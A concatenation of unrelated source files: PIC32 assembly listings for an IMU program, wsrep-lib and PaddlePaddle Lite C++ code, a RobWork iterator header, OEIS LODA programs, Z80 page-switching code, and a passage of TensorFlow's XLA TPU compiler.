;MPU_IMU_PIC32_v001.c,117 :: UART2_write_text("MAG_Config Register:\x0D");
LUI R25, hi_addr(?lstr11_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr11_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,118 :: Print_MPU_register_map(MAG_Config , MAG_Config );
ORI R26, R0, 9
ORI R25, R0, 9
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,119 :: UART2_write_text("ACC_Config Register:\x0D");
LUI R25, hi_addr(?lstr12_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr12_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,120 :: Print_MPU_register_map(ACC_Config , ACC_Config );
ORI R26, R0, 8
ORI R25, R0, 8
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,121 :: UART2_write_text("INT_EN Register:\x0D");
LUI R25, hi_addr(?lstr13_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr13_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,122 :: Print_MPU_register_map(INT_EN , INT_EN );
ORI R26, R0, 16
ORI R25, R0, 16
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,123 :: UART2_write_text("INT_MSK Register:\x0D");
LUI R25, hi_addr(?lstr14_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr14_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,124 :: Print_MPU_register_map(INT_MSK , INT_MSK );
ORI R26, R0, 15
ORI R25, R0, 15
JAL _Print_MPU_register_map+0
NOP
;MPU_IMU_PIC32_v001.c,126 :: }
L_end_Init_BNO55:
LW R26, 8(SP)
LW R25, 4(SP)
LW RA, 0(SP)
ADDIU SP, SP, 12
JR RA
NOP
; end of _Init_BNO55
_main:
;MPU_IMU_PIC32_v001.c,130 :: void main() {
;MPU_IMU_PIC32_v001.c,133 :: AD1PCFG = 0xFFFF; // Configure AN pins as digital I/O
ORI R2, R0, 65535
SW R2, Offset(AD1PCFG+0)(GP)
;MPU_IMU_PIC32_v001.c,135 :: INT_IMU_Direction = 1;
LUI R2, BitMask(TRISE0_bit+0)
ORI R2, R2, BitMask(TRISE0_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,136 :: RESET_IMU_Direction = 0;
LUI R2, BitMask(TRISC1_bit+0)
ORI R2, R2, BitMask(TRISC1_bit+0)
_SX
;MPU_IMU_PIC32_v001.c,139 :: I2C2_Init(100000);
LUI R25, 1
ORI R25, R25, 34464
JAL _I2C2_Init+0
NOP
;MPU_IMU_PIC32_v001.c,140 :: Delay_ms(100);
LUI R24, 40
ORI R24, R24, 45226
L_main8:
ADDIU R24, R24, -1
BNE R24, R0, L_main8
NOP
;MPU_IMU_PIC32_v001.c,144 :: UART2_Init(115200);
LUI R25, 1
ORI R25, R25, 49664
JAL _UART2_Init+0
NOP
;MPU_IMU_PIC32_v001.c,145 :: Delay_ms(100);
LUI R24, 40
ORI R24, R24, 45226
L_main10:
ADDIU R24, R24, -1
BNE R24, R0, L_main10
NOP
;MPU_IMU_PIC32_v001.c,146 :: UART2_write_text("uController started\x0D");
LUI R25, hi_addr(?lstr15_MPU_IMU_PIC32_v001+0)
ORI R25, R25, lo_addr(?lstr15_MPU_IMU_PIC32_v001+0)
JAL _UART2_Write_Text+0
NOP
;MPU_IMU_PIC32_v001.c,148 :: Init_Ext_Int1();
JAL _Init_Ext_Int1+0
NOP
;MPU_IMU_PIC32_v001.c,150 :: Init_BNO55();
JAL _Init_BNO55+0
NOP
;MPU_IMU_PIC32_v001.c,153 :: while(1) {
L_main12:
;MPU_IMU_PIC32_v001.c,155 :: Print_BNO55_Data();
JAL _Print_BNO55_Data+0
NOP
;MPU_IMU_PIC32_v001.c,156 :: delay_ms(500);
LUI R24, 203
ORI R24, R24, 29524
L_main14:
ADDIU R24, R24, -1
BNE R24, R0, L_main14
NOP
NOP
NOP
;MPU_IMU_PIC32_v001.c,158 :: if(IMU_interrupt_bit){
LBU R2, Offset(_IMU_interrupt_bit+0)(GP)
EXT R2, R2, BitPos(_IMU_interrupt_bit+0), 1
BNE R2, R0, L__main23
NOP
J L_main16
NOP
L__main23:
;MPU_IMU_PIC32_v001.c,160 :: IMU_interrupt_bit = 0;
LBU R2, Offset(_IMU_interrupt_bit+0)(GP)
INS R2, R0, BitPos(_IMU_interrupt_bit+0), 1
SB R2, Offset(_IMU_interrupt_bit+0)(GP)
;MPU_IMU_PIC32_v001.c,161 :: }
L_main16:
;MPU_IMU_PIC32_v001.c,163 :: }
J L_main12
NOP
;MPU_IMU_PIC32_v001.c,164 :: }
L_end_main:
L__main_end_loop:
J L__main_end_loop
NOP
; end of _main
|
/*
* Copyright (C) 2020 Codership Oy <info@codership.com>
*
* This file is part of wsrep-lib.
*
* Wsrep-lib is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 of the License, or
* (at your option) any later version.
*
* Wsrep-lib is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with wsrep-lib. If not, see <https://www.gnu.org/licenses/>.
*/
#include "event_service_v1.hpp"
#include "wsrep/event_service.hpp"
#include "wsrep/reporter.hpp"
#include "wsrep/logger.hpp"
#include "v26/wsrep_event_service.h"
#include "service_helpers.hpp"
#include <cassert>
namespace wsrep_event_service_v1
{
static std::atomic_flag initialized = ATOMIC_FLAG_INIT;
static void callback(
wsrep_event_context_t* ctx,
const char* name,
const char* value)
{
if (ctx)
{
wsrep::event_service* const impl
(reinterpret_cast<wsrep::event_service*>(ctx));
impl->process_event(name, value);
}
}
static const char* const log_string = "event service v1";
}
int wsrep::event_service_v1_probe(void* dlh)
{
typedef int (*init_fn)(wsrep_event_service_v1_t*);
typedef void (*deinit_fn)();
if (wsrep_impl::service_probe<init_fn>(
dlh, WSREP_EVENT_SERVICE_INIT_FUNC_V1,
wsrep_event_service_v1::log_string) ||
wsrep_impl::service_probe<deinit_fn>(
dlh, WSREP_EVENT_SERVICE_DEINIT_FUNC_V1,
wsrep_event_service_v1::log_string))
{
// diagnostic message was logged by wsrep_impl::service_probe()
return 1;
}
return 0;
}
int wsrep::event_service_v1_init(void* dlh,
wsrep::event_service* event_service)
{
if (not (dlh && event_service)) return EINVAL;
if (wsrep_event_service_v1::initialized.test_and_set()) return EALREADY;
wsrep_event_service_v1_t service =
{
wsrep_event_service_v1::callback,
reinterpret_cast<wsrep_event_context_t*>(event_service)
};
typedef int (*init_fn)(wsrep_event_service_v1_t*);
int const ret(wsrep_impl::service_init<init_fn>(
dlh, WSREP_EVENT_SERVICE_INIT_FUNC_V1, &service,
wsrep_event_service_v1::log_string));
if (ret)
{
wsrep_event_service_v1::initialized.clear();
}
return ret;
}
void wsrep::event_service_v1_deinit(void* dlh)
{
if (wsrep_event_service_v1::initialized.test_and_set())
{
// service was initialized
typedef int (*deinit_fn)();
wsrep_impl::service_deinit<deinit_fn>(
dlh, WSREP_EVENT_SERVICE_DEINIT_FUNC_V1,
wsrep_event_service_v1::log_string);
}
wsrep_event_service_v1::initialized.clear();
}
|
// Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "lite/core/optimizer/mir/fusion/elementwise_add_activation_fuse_pass.h"
#include <memory>
#include <vector>
#include "lite/core/optimizer/mir/fusion/elementwise_add_activation_fuser.h"
#include "lite/core/optimizer/mir/pass_registry.h"
namespace paddle {
namespace lite {
namespace mir {
void ElementwiseActivationFusePass::Apply(
const std::unique_ptr<SSAGraph>& graph) {
// initialze fuser params
std::vector<std::string> elt_types{
"elementwise_add", "elementwise_sub", "elementwise_mul"};
std::vector<std::string> act_types{"relu"};
auto has_target = [&](TargetType t) -> bool {
for (auto& place : graph->valid_places()) {
if (place.target == t) {
return true;
}
}
return false;
};
bool has_arm = has_target(TARGET(kARM));
// arm not support tanh and abs act fusion
if (!has_arm) {
act_types.push_back("abs");
act_types.push_back("tanh");
}
bool has_opencl = has_target(TARGET(kOpenCL));
if (has_opencl) {
act_types.push_back("relu6");
act_types.push_back("gelu");
}
// start fuse using params
for (auto elt_type : elt_types) {
for (auto act_type : act_types) {
fusion::ElementwiseActivationFuser fuser(elt_type, act_type);
fuser(graph.get());
}
}
}
} // namespace mir
} // namespace lite
} // namespace paddle
REGISTER_MIR_PASS(lite_elementwise_activation_fuse_pass,
paddle::lite::mir::ElementwiseActivationFusePass)
.BindTargets({TARGET(kAny)})
.ExcludeTargets({TARGET(kXPU)})
.ExcludeTargets({TARGET(kBM)})
.ExcludeTargets({TARGET(kNNAdapter)})
.BindKernel("fusion_elementwise_add_activation")
.BindKernel("fusion_elementwise_sub_activation");
|
/********************************************************************************
* Copyright 2009 The Robotics Group, The Maersk Mc-Kinney Moller Institute,
* Faculty of Engineering, University of Southern Denmark
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
********************************************************************************/
#ifndef RW_LOADERS_MULTIPLEFILEITERATOR_HPP
#define RW_LOADERS_MULTIPLEFILEITERATOR_HPP
#include <rw/core/StringUtil.hpp>
#include <boost/spirit/include/classic.hpp>
#include <boost/spirit/include/classic_core.hpp>
#include <vector>
#include <memory>
namespace rw { namespace loaders {
/** @addtogroup loaders */
/*@{*/
/**
* @brief This class is used to iterate over multiple files, keeping track of
* the current file and current line number at all times.
*/
class MultipleFileIterator : public std::iterator< std::bidirectional_iterator_tag, char >
{
public:
/**
* @brief a map from a absolute iterator position to a file description.
*/
typedef std::vector< std::pair< size_t, boost::spirit::classic::file_position > >
PosToFileMap;
/**
* @brief Constructor
* @param data [in] vector of char data
* @param filedata [in] data position to file info map
*/
MultipleFileIterator (std::shared_ptr< std::vector< char > > data,
std::shared_ptr< PosToFileMap > filedata);
/**
* @brief Constructor
*/
virtual ~MultipleFileIterator (){};
/**
* @brief Increases the position of the iterator by one
*/
MultipleFileIterator& operator++ ();
/**
* @brief Decreases the position of the iterator by one
*/
MultipleFileIterator& operator-- ();
/**
* @brief return reference to char that this interator points to
*/
char& operator* () { return *_pos; }
/**
* @brief return pointer to char that this interator points to
*/
char* operator-> () { return _pos.operator-> (); }
/**
* @brief assignment operator. Assignment is straight forward.
*/
MultipleFileIterator& operator= (const MultipleFileIterator& other);
/**
* @brief Tests whether the positions of two iterators are equal
* @param other [in] VectorIterator to compare with
* @return true if equal
*/
bool operator== (const MultipleFileIterator& other) const { return _pos == other._pos; }
/**
* @brief Tests whether the positions of two iterators are unequal
* @param other [in] VectorIterator to compare with
* @return true if unequal
*/
bool operator!= (const MultipleFileIterator& other) const { return _pos != other._pos; }
/**
* @brief returns the directory of the file that the
* iterator is currently iterating through
* @return the current directory
*/
std::string getDirectory () { return rw::core::StringUtil::getDirectoryName (getFile ()); }
/**
* @brief returns the position in the file that the
* iterator is currently at
* @return the position of the iterator in the current file
*/
boost::spirit::classic::file_position get_position () const
{
// std::cout << "Get position - index( "<< _index << " ) " << _filedata->size() <<
// std::endl;
size_t filepos = _filedata->size () - 1;
for (size_t i = 0; i < _filedata->size (); i++) {
size_t lessT = ((*_filedata)[i]).first;
if (_index < (int) lessT) {
filepos = i - 1;
// std::cout << " ---- Lesser than: " << lessT << std::endl;
break;
}
}
// std::cout << " --- FILENAME: " << (*_filedata)[filepos].second.file<< std::endl;
// std::cout << " --- FILEPOS : " << filepos << std::endl;
// TODO: calculate line and char position
return (*_filedata)[filepos].second;
}
/**
* @brief returns the file that the iterator is currently iterating
* @return filename of current file
*/
std::string getFile () { return get_position ().file; }
/**
* @brief returns a new begin iterator
*/
MultipleFileIterator begin ()
{
MultipleFileIterator begin = *this;
begin._pos = _data->begin ();
begin._index = (int) _data->size () - 1;
begin._filePos = (int) _filedata->size () - 1;
return begin;
}
/**
* @brief return a new end iterator
*/
MultipleFileIterator end ()
{
MultipleFileIterator end = *this;
end._pos = _data->end ();
end._index = (int) _data->size () - 1;
end._filePos = (int) _filedata->size () - 1;
return end;
}
private:
// the fileposition of each
std::shared_ptr<
std::vector< std::pair< size_t, boost::spirit::classic::file_position > > >
_filedata;
std::shared_ptr< std::vector< char > > _data;
std::vector< char >::iterator _pos;
int _filePos;
int _line;
int _index;
};
/*@}*/
}} // namespace rw::loaders
#endif /*MULTIPLEFILEITERATOR_HPP_*/
|
; A071374: 0 iff n is of the form 4^a*(8k+7), otherwise 1.
; 1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1
lpb $0
dif $0,4
lpe
bin $0,3
bin $0,3
gcd $0,2
sub $0,1
|
; A163433: Number of different fixed (possibly) disconnected trominoes bounded tightly by an n X n square.
; 0,4,22,52,94,148,214,292,382,484,598,724,862,1012,1174,1348,1534,1732,1942,2164,2398,2644,2902,3172,3454,3748,4054,4372,4702,5044,5398,5764,6142,6532,6934,7348,7774,8212,8662,9124,9598,10084,10582,11092,11614,12148,12694,13252,13822,14404,14998,15604,16222,16852,17494,18148,18814,19492,20182,20884,21598,22324,23062,23812,24574,25348,26134,26932,27742,28564,29398,30244,31102,31972,32854,33748,34654,35572,36502,37444,38398,39364,40342,41332,42334,43348,44374,45412,46462,47524,48598,49684,50782,51892,53014,54148,55294,56452,57622,58804,59998,61204,62422,63652,64894,66148,67414,68692,69982,71284,72598,73924,75262,76612,77974,79348,80734,82132,83542,84964,86398,87844,89302,90772,92254,93748,95254,96772,98302,99844,101398,102964,104542,106132,107734,109348,110974,112612,114262,115924,117598,119284,120982,122692,124414,126148,127894,129652,131422,133204,134998,136804,138622,140452,142294,144148,146014,147892,149782,151684,153598,155524,157462,159412,161374,163348,165334,167332,169342,171364,173398,175444,177502,179572,181654,183748,185854,187972,190102,192244,194398,196564,198742,200932,203134,205348,207574,209812,212062,214324,216598,218884,221182,223492,225814,228148,230494,232852,235222,237604,239998,242404,244822,247252,249694,252148,254614,257092,259582,262084,264598,267124,269662,272212,274774,277348,279934,282532,285142,287764,290398,293044,295702,298372,301054,303748,306454,309172,311902,314644,317398,320164,322942,325732,328534,331348,334174,337012,339862,342724,345598,348484,351382,354292,357214,360148,363094,366052,369022,372004
pow $0,2
mov $1,$0
mul $1,6
trn $1,2
|
; *********************************************************************************
; *********************************************************************************
;
; File: xpage.asm
; Purpose: Cross Page Calling code.
; Date : 21st December 2018
; Author: paul@robsons.org.uk
;
; *********************************************************************************
; *********************************************************************************
; *********************************************************************************
;
; Call Generator Macro
;
; *********************************************************************************
CROSSExec: macro ; groups of four calls. each calls for a different page
ld a,\0+0
jp CROSSPageMain
ld a,\0+2
jp CROSSPageMain
ld a,\0+4
jp CROSSPageMain
ld a,\0+6
jp CROSSPageMain
endm
; *********************************************************************************
;
; Table of function calls for each page.
;
; *********************************************************************************
CROSSPageTable: ; do for every page we use.
CROSSExec $20
CROSSExec $28
CROSSExec $30
CROSSExec $38
CROSSExec $40
CROSSExec $58
CROSSExec $50
CROSSExec $58
; *********************************************************************************
;
; Common code for CrossPage Calls
;
; *********************************************************************************
CROSSPageMain:
db $ED,$92,$56 ; switch to page A
inc a
db $ED,$92,$57
dec a
ex af,af' ; put new page in A', old page in A.
push af ; save old page.
call CROSSReturnViaBC ; returns to here via BC.
pop af ; restore old page
db $ED,$92,$56 ; switch to old page
inc a
db $ED,$92,$57
dec a
ex af,af' ; update A' and exit.
ret
CROSSReturnViaBC:
push bc
ret
|
; A075861: Least k such that (n-k) divides (n+k).
; 1,1,2,3,2,5,4,3,5,9,4,11,7,5,8,15,6,17,10,7,11,21,8,15,13,9,14,27,10,29,16,11,17,21,12,35,19,13,20,39,14,41,22,15,23,45,16,35,25,17,26,51,18,33,28,19,29,57,20,59,31,21,32,39,22,65,34,23,35,69,24,71,37,25,38,55,26,77,40,27,41,81,28,51,43,29,44,87,30,65,46,31,47,57,32,95,49,33,50,99
lpb $0
add $1,2
lpb $1
add $0,1
dif $1,$0
lpe
sub $0,1
lpe
div $1,2
add $1,1
mov $0,$1
|
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <memory>
#include "absl/types/span.h"
#include "tensorflow/compiler/xla/service/compiler.h"
#include "tensorflow/compiler/xla/service/executable.h"
#include "tensorflow/compiler/xla/service/hlo_cost_analysis.h"
#include "tensorflow/compiler/xla/service/hlo_module.h"
#include "tensorflow/compiler/xla/service/hlo_module_group.h"
#include "tensorflow/compiler/xla/service/shaped_buffer.h"
#include "tensorflow/compiler/xla/shape_util.h"
#include "tensorflow/compiler/xla/util.h"
#include "tensorflow/compiler/xla/xla_data.pb.h"
#include "tensorflow/stream_executor/device_memory_allocator.h"
#include "tensorflow/stream_executor/tpu/c_api_conversions.h"
#include "tensorflow/stream_executor/tpu/c_api_decl.h"
#include "tensorflow/stream_executor/tpu/proto_helper.h"
#include "tensorflow/stream_executor/tpu/status_helper.h"
#include "tensorflow/stream_executor/tpu/tpu_executable_interface.h"
#include "tensorflow/stream_executor/tpu/tpu_executor.h"
#include "tensorflow/stream_executor/tpu/tpu_executor_c_api.h"
#include "tensorflow/stream_executor/tpu/tpu_platform.h"
#include "tensorflow/stream_executor/tpu/tpu_stream.h"
namespace ApiConverter {
static SE_ExecutableRunOptions ToC(
const xla::ServiceExecutableRunOptions& options) {
SE_ExecutableRunOptions se_options;
se_options.allocator = ApiConverter::ToC(options.run_options().allocator());
se_options.device_ordinal = options.run_options().device_ordinal();
if (options.run_options().host_to_device_stream() != nullptr) {
se_options.host_to_device_stream =
static_cast<tensorflow::tpu::TpuStream*>(
options.run_options().host_to_device_stream()->implementation())
->se_stream();
} else {
se_options.host_to_device_stream = nullptr;
}
if (options.run_options().device_assignment() != nullptr) {
xla::DeviceAssignmentProto dev_assign_proto;
options.run_options()
.device_assignment()
->Serialize(&dev_assign_proto)
.IgnoreError();
se_options.device_assignment =
stream_executor::tpu::SerializeProto(dev_assign_proto);
} else {
se_options.device_assignment.bytes = nullptr;
se_options.device_assignment.size = 0;
}
se_options.rng_seed = options.run_options().rng_seed();
se_options.run_id = options.run_options().run_id().ToInt();
se_options.launch_id = options.run_options().launch_id();
CHECK_EQ(options.run_options().then_execute_function(), nullptr)
<< "ThenExecuteFunction not supported by this platform.";
auto impl =
const_cast<stream_executor::Stream*>(options.stream())->implementation();
se_options.stream =
static_cast<tensorflow::tpu::TpuStream*>(impl)->se_stream();
return se_options;
}
} // namespace ApiConverter
namespace xla {
namespace {
using ::tensorflow::tpu::ExecutorApiFn;
class TpuExecutable : public TpuExecutableInterface {
public:
TpuExecutable(SE_Executable* se_executable,
std::shared_ptr<HloModule> hlo_module)
: TpuExecutableInterface(std::move(hlo_module), nullptr, nullptr),
se_executable_(se_executable) {}
~TpuExecutable() override {
ExecutorApiFn()->TpuExecutable_FreeFn(se_executable_);
}
StatusOr<ExecutionOutput> ExecuteAsyncOnStream(
const ServiceExecutableRunOptions* run_options,
std::vector<ExecutionInput> arguments,
HloExecutionProfile* hlo_execution_profile) override {
SE_ExecutableRunOptions se_run_options = ApiConverter::ToC(*run_options);
SE_ExecutionInput** se_args = new SE_ExecutionInput*[arguments.size()];
for (int i = 0; i < arguments.size(); ++i) {
auto& arg = arguments[i];
se_args[i] = new SE_ExecutionInput;
ApiConverter::ToC(arg.shape(), &se_args[i]->shape_tree.shape);
auto* arg_buffers = arg.MutableBuffers();
absl::InlinedVector<SE_MaybeOwningDeviceMemory, 2> se_buffers;
for (auto& pair : *arg_buffers) {
bool aliased = arg.unowned_indices().count(pair.first) > 0;
se_buffers.push_back(ApiConverter::ToC(pair.second, aliased));
}
se_args[i]->shape_tree.buffers =
new SE_MaybeOwningDeviceMemory[se_buffers.size()];
for (int j = 0; j < se_buffers.size(); ++j) {
se_args[i]->shape_tree.buffers[j] = se_buffers[j];
}
ApiConverter::ToC(arg.shape(), &se_args[i]->dynamic_shape);
ApiConverter::ToC(arg.host_shape(), &se_args[i]->host_shape);
const auto& unowned_indices = arg.unowned_indices();
se_args[i]->unowned_indices_size = unowned_indices.size();
se_args[i]->unowned_indices = new XLA_ShapeIndex[unowned_indices.size()];
int j = 0;
for (auto& idx : unowned_indices) {
se_args[i]->unowned_indices[j] = ApiConverter::ToC(idx);
++j;
}
}
SE_ExecutionOutput se_execution_output;
StatusHelper status;
ExecutorApiFn()->TpuExecutable_ExecuteAsyncOnStreamFn(
se_executable_, &se_run_options, se_args, arguments.size(), nullptr,
&se_execution_output, status.c_status);
if (se_run_options.device_assignment.bytes != nullptr) {
stream_executor::tpu::SerializedProto_Free(
se_run_options.device_assignment);
}
for (int i = 0; i < arguments.size(); ++i) {
ApiConverter::Free(&se_args[i]->shape_tree.shape);
ApiConverter::Free(&se_args[i]->dynamic_shape);
ApiConverter::Free(&se_args[i]->host_shape);
delete[] se_args[i]->unowned_indices;
delete[] se_args[i]->shape_tree.buffers;
delete se_args[i];
}
delete[] se_args;
if (!status.ok()) {
return status.status();
}
xla::ScopedShapedBuffer result(
ApiConverter::FromC(&se_execution_output.result),
run_options->stream()->parent()->GetAllocator());
ApiConverter::Free(&se_execution_output.result);
ExecutionOutput output(std::move(result));
for (int i = 0; i < se_execution_output.aliased_indices_size; ++i) {
output.AddAliasedIndex(
ApiConverter::FromC(&se_execution_output.aliased_indices[i]));
}
ApiConverter::Free(se_execution_output.aliased_indices);
for (int i = 0; i < se_execution_output.to_be_released_size; ++i) {
output.AddToBeReleased(
ApiConverter::FromC(&se_execution_output.to_be_released[i],
run_options->stream()->parent()->GetAllocator())
.Release()
.value());
}
delete[] se_execution_output.to_be_released;
return output;
}
absl::string_view fingerprint() const override {
const char* data;
size_t size;
ExecutorApiFn()->TpuExecutable_FingerprintFn(se_executable_, &data, &size);
return absl::string_view(data, size);
}
private:
Status LoadProgramAndEnqueueToStream(
const ServiceExecutableRunOptions& run_options,
absl::Span<const stream_executor::DeviceMemoryBase> arguments,
stream_executor::DeviceMemoryBase result,
absl::optional<stream_executor::DeviceMemoryBase>
cross_program_prefetch_addr) override {
LOG(FATAL) << "LoadProgramAndEnqueueToStream unimplemented";
}
Shape HostShapeToDeviceShape(const Shape& host_shape) override {
LOG(FATAL) << "HostShapeToDeviceShape unimplemented";
}
int64 ShapeSize(const Shape& shape) override {
LOG(FATAL) << "ShapeSize unimplemented";
}
SE_Executable* se_executable_;
};
XLA_HloModuleConfig HloModuleConfigToC(const xla::HloModuleConfig& config) {
XLA_HloModuleConfig hlo_config;
hlo_config.seed = config.seed();
hlo_config.launch_id = config.launch_id();
hlo_config.replica_count = config.replica_count();
hlo_config.num_partitions = config.num_partitions();
hlo_config.use_spmd_partitioning = config.use_spmd_partitioning();
hlo_config.has_static_device_assignment =
config.has_static_device_assignment();
hlo_config.has_entry_computation_layout =
config.has_entry_computation_layout();
if (config.has_static_device_assignment()) {
DeviceAssignmentProto dev_proto;
config.static_device_assignment().Serialize(&dev_proto).IgnoreError();
hlo_config.static_device_assignment =
stream_executor::tpu::SerializeProto(dev_proto);
}
if (config.has_entry_computation_layout()) {
auto layout = config.entry_computation_layout();
ApiConverter::ToC(layout.result_layout().shape(),
&hlo_config.entry_computation_layout.result_layout);
hlo_config.entry_computation_layout.parameter_layouts =
new XLA_Shape[layout.parameter_count()];
for (int i = 0; i < layout.parameter_count(); ++i) {
ApiConverter::ToC(
layout.parameter_layout(i).shape(),
&hlo_config.entry_computation_layout.parameter_layouts[i]);
}
hlo_config.entry_computation_layout.parameter_count =
layout.parameter_count();
}
return hlo_config;
}
class TpuCompiler : public Compiler {
public:
TpuCompiler() { compiler_ = ExecutorApiFn()->TpuCompiler_NewFn(); }
~TpuCompiler() override { ExecutorApiFn()->TpuCompiler_FreeFn(compiler_); }
stream_executor::Platform::Id PlatformId() const override {
return tensorflow::tpu::TpuPlatform::kId;
}
StatusOr<std::unique_ptr<HloModule>> RunHloPasses(
std::unique_ptr<HloModule> module,
stream_executor::StreamExecutor* executor,
stream_executor::DeviceMemoryAllocator* device_allocator) override {
XLA_HloModule hlo_module;
XLA_HloModule result;
auto cleanup = xla::MakeCleanup([&hlo_module, &result]() {
stream_executor::tpu::SerializedProto_Free(hlo_module.proto);
stream_executor::tpu::SerializedProto_Free(result.proto);
ApiConverter::Free(&hlo_module.module_config);
});
hlo_module.module_config = HloModuleConfigToC(module->config());
hlo_module.proto = stream_executor::tpu::SerializeProto(module->ToProto());
auto allocator = ApiConverter::ToC(device_allocator);
StatusHelper status;
ExecutorApiFn()->TpuCompiler_RunHloPassesFn(
compiler_, &hlo_module,
static_cast<tensorflow::tpu::TpuExecutor*>(executor->implementation())
->se_executor(),
&allocator, &result, status.c_status);
if (!status.ok()) {
return status.status();
}
HloModuleProto result_proto =
stream_executor::tpu::DeserializeProto<HloModuleProto>(result.proto);
return HloModule::CreateFromProto(result_proto, module->config());
}
StatusOr<
std::tuple<std::unique_ptr<HloModule>, std::unique_ptr<BufferAssignment>>>
RunHloPassesAndBufferAssignement(
std::unique_ptr<HloModule> module,
stream_executor::StreamExecutor* executor,
stream_executor::DeviceMemoryAllocator* device_allocator) override {
return Unimplemented(
"This compiler does not support RunHloPassesAndBufferAssignment.");
}
StatusOr<std::unique_ptr<Executable>> RunBackend(
std::unique_ptr<HloModule> module,
stream_executor::StreamExecutor* executor,
stream_executor::DeviceMemoryAllocator* device_allocator) override {
XLA_HloModule hlo_module;
auto cleanup = xla::MakeCleanup([&hlo_module]() {
stream_executor::tpu::SerializedProto_Free(hlo_module.proto);
ApiConverter::Free(&hlo_module.module_config);
});
SE_Executable* result;
hlo_module.module_config = HloModuleConfigToC(module->config());
hlo_module.proto = stream_executor::tpu::SerializeProto(module->ToProto());
auto allocator = ApiConverter::ToC(device_allocator);
StatusHelper status;
ExecutorApiFn()->TpuCompiler_RunBackendFn(
compiler_, &hlo_module,
static_cast<tensorflow::tpu::TpuExecutor*>(executor->implementation())
->se_executor(),
&allocator, &result, status.c_status);
if (!status.ok()) {
return status.status();
}
std::unique_ptr<Executable> exec =
absl::make_unique<TpuExecutable>(result, std::move(module));
return exec;
}
StatusOr<std::vector<std::unique_ptr<Executable>>> Compile(
std::unique_ptr<HloModuleGroup> module_group,
std::vector<std::vector<stream_executor::StreamExecutor*>> stream_exec,
stream_executor::DeviceMemoryAllocator* device_allocator) override {
XLA_HloModuleGroup se_module_group;
se_module_group.proto =
stream_executor::tpu::SerializeProto(module_group->ToProto());
se_module_group.module_config =
new XLA_HloModuleConfig[module_group->size()];
int module_group_size = module_group->size();
auto cleanup_config =
xla::MakeCleanup([&se_module_group, module_group_size]() {
for (auto i = 0; i < module_group_size; ++i) {
ApiConverter::Free(&se_module_group.module_config[i]);
}
delete[] se_module_group.module_config;
});
for (int i = 0; i < module_group->size(); ++i) {
const auto& config = module_group->module(i).config();
se_module_group.module_config[i] = HloModuleConfigToC(config);
}
std::vector<SE_StreamExecutorList> se_lists(stream_exec.size());
std::vector<std::vector<SE_StreamExecutor*>> se_lists_storage;
for (int i = 0; i < stream_exec.size(); ++i) {
se_lists[i].count = stream_exec[i].size();
se_lists_storage.emplace_back(stream_exec[i].size());
se_lists[i].exec = se_lists_storage.back().data();
for (int j = 0; j < stream_exec[i].size(); ++j) {
se_lists[i].exec[j] = static_cast<tensorflow::tpu::TpuExecutor*>(
stream_exec[i][j]->implementation())
->se_executor();
}
}
SE_DeviceMemoryAllocator allocator = ApiConverter::ToC(device_allocator);
SE_Executable** se_executables = new SE_Executable*[module_group->size()];
StatusHelper status;
ExecutorApiFn()->TpuCompiler_CompileFn(
compiler_, &se_module_group, se_lists.data(), stream_exec.size(),
&allocator, se_executables, status.c_status);
if (!status.ok()) {
return status.status();
}
std::vector<std::unique_ptr<Executable>> executables;
for (int i = 0; i < module_group->size(); ++i) {
// We get the HloModule from the compiled executable, rather than reusing
// the input module from 'module_group', in case the module changed in
// some way. For example, if the computation is automatically partitioned
// via XLA, the executable's module may have different input/output shapes
// than the input module.
XLA_HloModule c_module =
ExecutorApiFn()->TpuExecutable_HloModuleFn(se_executables[i]);
auto cleanup_c_module =
